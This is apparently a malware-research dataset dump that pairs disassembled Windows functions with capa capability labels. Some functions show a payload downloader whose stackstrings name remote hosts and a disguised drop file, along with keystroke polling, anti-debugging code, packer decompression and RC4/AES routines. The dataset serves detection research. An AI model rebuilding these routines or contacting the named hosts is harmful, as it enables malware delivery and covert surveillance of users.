joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45acf4
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x45ad0b
add esp, 0xfffffff0
call fcn.00403ba8
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041a36c
mov eax, dword [0x4d4710]
cmp word [eax + 2], 0
jne 0x45ad33
mov eax, dword [0x4d4710]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045c7a4
mov eax, dword [0x4d47c4]
cmp word [eax + 2], 0
jne 0x45ad4d
mov eax, dword [0x4d47c4]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045c9b0
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x412150]
call fcn.00403854
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x412150]
call fcn.00403854
mov dword [ebx + 0x98], eax
mov dl, 1
mov eax, dword [0x412150]
call fcn.00403854
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x41ea54]
call fcn.004261b0
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x45af04
mov eax, dword [0x4d4624]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00426584
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45d070
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4d4624]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040cc68
test eax, eax
je 0x45ae54
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408dbc
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040cc9c
test eax, eax
je 0x45ae68
mov byte [eax], 0
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_CharNextA_1
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404920
mov byte [ebx + 0xd4], 0
push ebx
push 0x45c304
call fcn.0041b4fc
mov dword [ebx + 0xc8], eax
mov eax, dword [0x4d4504]
cmp byte [eax], 0
jne 0x45aeb9
mov eax, ebx
call fcn.0045b048
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.0045d24c
mov eax, ebx
call fcn.0045ddac
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45aef9
call fcn.00403c00
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45b2c8
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4d857c]
cmp dword [eax + 0x30], 0
je 0x45b372
cmp dword [ebx + 0x94], 0
jne 0x45b36c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45b258
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45b36c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45b332
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45b36c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.004144fc
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45b341
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45c08c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x45c0c1
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004047a0
jmp 0x45c0ce
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404704
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45d430
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45d49e
mov eax, esi
call fcn.00447708
test al, al
je 0x45d49e
mov eax, dword [ebx + 0x84]
call fcn.00447368
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45d49e
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xf0]
test al, al
je 0x45d492
push 0
mov eax, dword [ebx + 0x84]
call fcn.00447368
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.0043f788
jmp 0x45d49e
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.0045d26c
pop esi
pop ebx
ret
Function at 0x401130
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov byte [ebp - 0x28], 0x68
mov byte [ebp - 0x27], 0x74
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x25], 0x70
mov byte [ebp - 0x24], 0x3a
mov byte [ebp - 0x23], 0x2f
mov byte [ebp - 0x22], 0x2f
mov byte [ebp - 0x21], 0x31
mov byte [ebp - 0x20], 0x39
mov byte [ebp - 0x1f], 0x32
mov byte [ebp - 0x1e], 0x2e
mov byte [ebp - 0x1d], 0x31
mov byte [ebp - 0x1c], 0x36
mov byte [ebp - 0x1b], 0x38
mov byte [ebp - 0x1a], 0x2e
mov byte [ebp - 0x19], 0x35
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x31
mov byte [ebp - 0x16], 0x34
mov byte [ebp - 0x15], 0x35
mov byte [ebp - 0x14], 0x3a
mov byte [ebp - 0x13], 0x31
mov byte [ebp - 0x12], 0x32
mov byte [ebp - 0x11], 0x33
mov byte [ebp - 0x10], 0x33
mov byte [ebp - 0xf], 0x33
mov byte [ebp - 0xe], 0x2f
mov byte [ebp - 0xd], 0x31
mov byte [ebp - 0xc], 0x32
mov byte [ebp - 0xb], 0x33
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x62
mov byte [ebp - 8], 0x69
mov byte [ebp - 7], 0x6e
mov byte [ebp - 6], 0
mov byte [ebp - 0x48], 0x43
mov byte [ebp - 0x47], 0x3a
mov byte [ebp - 0x46], 0x2f
mov byte [ebp - 0x45], 0x50
mov byte [ebp - 0x44], 0x72
mov byte [ebp - 0x43], 0x6f
mov byte [ebp - 0x42], 0x67
mov byte [ebp - 0x41], 0x72
mov byte [ebp - 0x40], 0x61
mov byte [ebp - 0x3f], 0x6d
mov byte [ebp - 0x3e], 0x44
mov byte [ebp - 0x3d], 0x61
mov byte [ebp - 0x3c], 0x74
mov byte [ebp - 0x3b], 0x61
mov byte [ebp - 0x3a], 0x2f
mov byte [ebp - 0x39], 0x56
mov byte [ebp - 0x38], 0x53
mov byte [ebp - 0x37], 0x49
mov byte [ebp - 0x36], 0x77
mov byte [ebp - 0x35], 0x6e
mov byte [ebp - 0x34], 0x2e
mov byte [ebp - 0x33], 0x70
mov byte [ebp - 0x32], 0x6e
mov byte [ebp - 0x31], 0x67
mov byte [ebp - 0x30], 0
mov dword [ebp - 0x2c], str.https:__ubane_1319644496.cos.ap_nanjing.myqcloud.com_xor97.bin
mov dword [ebp - 4], str.C:_ProgramData_VSIwn.png
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.00401000
add esp, 8
movzx edx, al
test edx, edx
je 0x401257
mov eax, dword [ebp - 4]
push eax
call fcn.00401030
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40318b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x409370]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004020e4
and dword [ebp - 0x14], 0
cmp dword [0x40a494], 0
mov dword [ebp - 0x18], eax
jne 0x40323e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4032e6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4032e6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40a494], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40a498], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40a49c], eax
call edi
push eax
call esi
mov dword [0x40a4a4], eax
test eax, eax
je 0x40323e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40a4a0], eax
mov eax, dword [0x40a4a0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x403297
cmp dword [0x40a4a4], ecx
je 0x403297
push eax
call esi
push dword [0x40a4a4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x403297
test ebx, ebx
je 0x403297
call edi
test eax, eax
je 0x40328e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40328e
test byte [ebp - 8], 1
jne 0x403297
or dword [ebp + 0x10], 0x200000
jmp 0x4032ca
mov eax, dword [0x40a498]
cmp eax, dword [ebp - 0x18]
je 0x4032ca
push eax
call esi
test eax, eax
je 0x4032ca
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4032ca
mov eax, dword [0x40a49c]
cmp eax, dword [ebp - 0x18]
je 0x4032ca
push eax
call esi
test eax, eax
je 0x4032ca
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40a494]
call esi
test eax, eax
je 0x4032e6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4032e8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004034f6
leave
ret

Function at 0x4034f6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x409370]
jne 0x403500
repz ret
jmp fcn.00404766
Function at 0x711034
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov ah, bl
lea ecx, [eax + ecx]
sub esp, 0x12
jns 0x710f98
lea ecx, [edx + esi]
not ecx
not ax
rdtsc
lea edx, reloc.RASAPI32.dll_RasHangUpA
jmp 0x710fa2

Function at 0x7111e9
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg edx, eax
xchg dx, ax
mov eax, dword [esp]
call 0x710fd7
xchg cx, dx
rdtsc
bts ax, bx
xchg cx, dx
xchg dword [esp], ebx
jmp 0x71107a

Function at 0x717d16
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop word [esp]
mov byte [esp], al
jmp 0x717e92
push sp
lea esp, [esp + 2]
lea esp, [esp + 2]
mov dword [esp + 0x38], ebp
call fcn.00717dc3

Function at 0x717dcd
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea ebx, [ecx + esi]
bsr ebx, ebx
jmp 0x717e13
jge 0x717e29
mov dh, 0x96
mov ebx, dword [esp]
xchg al, bl
jmp 0x717e7b
mov ax, word [esp]
jmp 0x717e42

Function at 0x741be0
Capabilities:
Encrypt data using aes

Disassembly:
lea esp, [esp + 3]
lea esp, [esp + 1]
jmp 0x741c3f
sub esp, 0x15
lea esp, [esp + 1]
jmp 0x741c4d
movzx edi, byte [edi*4 + 0x70e86c]
xor ecx, edi
and edx, ebp
jmp 0x741c29
xor ecx, edx
rol dl, cl
lea esp, [esp + 0x18]
xor ecx, dword [ebx]
jmp 0x741cce
lea edi, [eax + 0x10]
shl edx, cl
jmp 0x741c94
mov edx, dword [esp]
jmp 0x741cb6
xor ecx, dword [eax]
mov dl, byte [esp]
add ebx, 4
dec dh
jmp 0x741c7e
mov edx, dword [eax + 4]
call fcn.00741cfb
cld
hlt
mov dword [edi], ecx
xchg dh, dl
stc
jmp 0x741ca0
setnp dl
mov di, 0x3338
sub esp, 0x17
lea esp, [esp + 3]
lea esp, [esp + 0x14]
jmp 0x741c59

Function at 0x7f5201
Capabilities:
Execute anti-debugging instructions

Disassembly:
push dword [esp + 0xf]
lea edx, [eax*4]

Function at 0x7f5590
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg dword [esp], ebp
dec al
lea ebp, reloc.RASAPI32.dll_RasHangUpA
jmp 0x7f55a1
bswap eax
mov eax, dword [esp + 5]
lea ebp, [edi*4]
push word [esp]
stc
jmp 0x7f55ca

Function at 0x7f98e2
Capabilities:
Parse pe header

Disassembly:
mov dword [esp + 0x2c], esp
call fcn.007f983c
Function at 0xcda058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xcda1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xcda07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xcda06a
add dl, dl
jne 0xcda089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xcda0dc
xor eax, eax
add dl, dl
jne 0xcda096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xcda17d
add dl, dl
jne 0xcda0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xcda0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xcda0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xcda0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xcda0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xcda075
mov eax, 1
add dl, dl
jne 0xcda0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xcda0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xcda0e1
sub eax, ebx
mov ebx, 1
jne 0xcda128
mov ecx, 1
add dl, dl
jne 0xcda10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xcda119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xcda105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xcda075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xcda13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xcda14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xcda136
cmp eax, 0x7d00
jae 0xcda16d
cmp eax, 0x500
jb 0xcda168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xcda075
cmp eax, 0x7f
ja 0xcda170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xcda075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xcda19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xcda075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0xb5e058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xb5e1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xb5e07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xb5e06a
add dl, dl
jne 0xb5e089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xb5e0dc
xor eax, eax
add dl, dl
jne 0xb5e096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xb5e17d
add dl, dl
jne 0xb5e0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb5e0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb5e0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb5e0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xb5e0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xb5e075
mov eax, 1
add dl, dl
jne 0xb5e0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb5e0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xb5e0e1
sub eax, ebx
mov ebx, 1
jne 0xb5e128
mov ecx, 1
add dl, dl
jne 0xb5e10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xb5e119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xb5e105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xb5e075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xb5e13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xb5e14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xb5e136
cmp eax, 0x7d00
jae 0xb5e16d
cmp eax, 0x500
jb 0xb5e168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xb5e075
cmp eax, 0x7f
ja 0xb5e170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xb5e075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xb5e19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xb5e075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x40b210
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4915cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00485bee
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40b292
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0048390d
mov eax, dword [eax]
push 0x61f220
push eax
call fcn.00474f74
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00485e79
test bl, bl
je 0x40b292
push 0x61f220
lea ecx, [esp + 0xc]
call fcn.00486209
push 0x622dac
lea ecx, [esp + 0xc]
call fcn.00486209
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40b2ce
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00485e79
jmp 0x40b399
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40b352
lea edx, [esp + 0x7c]
push 0x622da8
push edx
call fcn.00474f74
add esp, 8
test eax, eax
je 0x40b352
lea eax, [esp + 0x7c]
push 0x622da4
push eax
call fcn.00474f74
add esp, 8
test eax, eax
je 0x40b352
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40b2e2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00485e79
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40bb90
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40bbf2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40bc00
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x49164b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x634b38]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40bd38
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40bc66
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00485e79
xor eax, eax
jmp 0x40bdaf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00485fb6
push esi
lea ecx, [esp + 0xc]
call fcn.00486245
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x622de4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40bd8d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040bb90
test eax, eax
jne 0x40bd8d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040bb90
test eax, eax
jne 0x40bd8d
lea eax, [esp + 0x14]
push 0x622dc0
push eax
call fcn.00475fb0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40bd6c
lea ecx, [esp + 0x14]
push 0x622dbc
push ecx
call fcn.00475f30
mov esi, eax
add esp, 8
test esi, esi
jne 0x40bd6c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40bd6f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00485f66
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40bc7e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00485e79
xor eax, eax
jmp 0x40bdaf
mov byte [esi], 0
push 0x622db8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00485e79
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4204b0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42051e
cmp si, 0x69
ja 0x42051e
add esi, 0xffd0
cmp si, 0x11
je 0x4204ee
push 0x11
call edi
test ax, ax
jge 0x4204ee
or esi, 0x2000
cmp si, 0x10
je 0x420503
push 0x10
call edi
test ax, ax
jge 0x420503
or esi, 0x4000
cmp si, 0x12
je 0x420518
push 0x12
call edi
test ax, ax
jge 0x420518
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42052b
mov esi, 0xbd
jmp 0x4204df
cmp si, 0x6e
jne 0x420538
mov esi, 0xbe
jmp 0x4204df
cmp si, 0x6f
jne 0x4204d9
mov esi, 0xbf
jmp 0x4204df

Function at 0x421b90
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x645258]
xor edx, edx
cmp eax, edx
jne 0x421bb6
xor eax, eax
mov byte [eax + 0x645158], al
inc eax
cmp eax, 0x100
jl 0x421b9e
mov dword [0x645258], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x645158
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x421c47
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x421c1a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x421be8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x421cc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x421d13
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x421cfa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret